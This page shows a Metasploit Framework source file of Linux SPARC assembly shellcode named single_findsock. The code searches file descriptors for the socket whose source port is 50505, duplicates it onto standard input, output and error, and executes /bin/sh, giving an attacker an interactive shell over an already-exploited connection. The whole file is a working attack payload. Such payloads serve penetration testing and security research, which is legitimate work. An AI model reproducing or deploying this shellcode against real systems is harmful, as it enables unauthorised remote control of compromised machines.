CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/shellcode/linux/sparc/single_findsock.s
Views: 11784
1
##
2
#
3
# Name: single_findsock
4
# Platforms: Linux
5
# Authors: vlad902 <vlad902 [at] gmail.com>
6
# Version: $Revision: 1991 $
7
# License:
8
#
9
# This file is part of the Metasploit Exploit Framework
10
# and is subject to the same licenses and copyrights as
11
# the rest of this package.
12
#
13
# Description:
14
#
15
# Search file descriptors based on source port.
16
#
17
##
18
19
.globl main
20
21
main:
22
# l6 is set here with the port
23
set 50505, %l6
24
andn %sp, 7, %sp
25
26
xor %o2, %o2, %o0
27
st %o0, [ %sp - 0x20 ]
28
29
getpeername_loop:
30
add %o0, 1, %o0
31
and %o0, 4095, %o0
32
33
mov 0x10, %o3
34
sub %sp, 0x04, %o2
35
sub %sp, 0x20, %o1
36
37
std %o0, [ %sp - 0x10 ]
38
std %o2, [ %sp - 0x08 ]
39
40
sub %sp, 0x10, %o1
41
mov 7, %o0
42
mov 0xce, %g1
43
ta 0x10
44
45
mov 3, %o1
46
lduh [ %sp - 0x1e ], %l5
47
xorcc %l5, %l6, %i5
48
bnz getpeername_loop
49
dup2_loop:
50
ld [ %sp - 0x10 ], %o0
51
52
subcc %o1, 1, %o1
53
mov 0x5a, %g1
54
ta 0x10
55
56
bnz dup2_loop
57
58
xor %o3, %o3, %o3
59
set 0x2f62696e, %l0
60
set 0x2f736800, %l1
61
sub %sp, 0x10, %o0
62
sub %sp, 0x08, %o1
63
std %l0, [ %sp - 0x10 ]
64
st %o0, [ %sp - 0x08 ]
65
st %g0, [ %sp - 0x04 ]
66
mov 0x3b, %g1
67
ta 0x08
68
69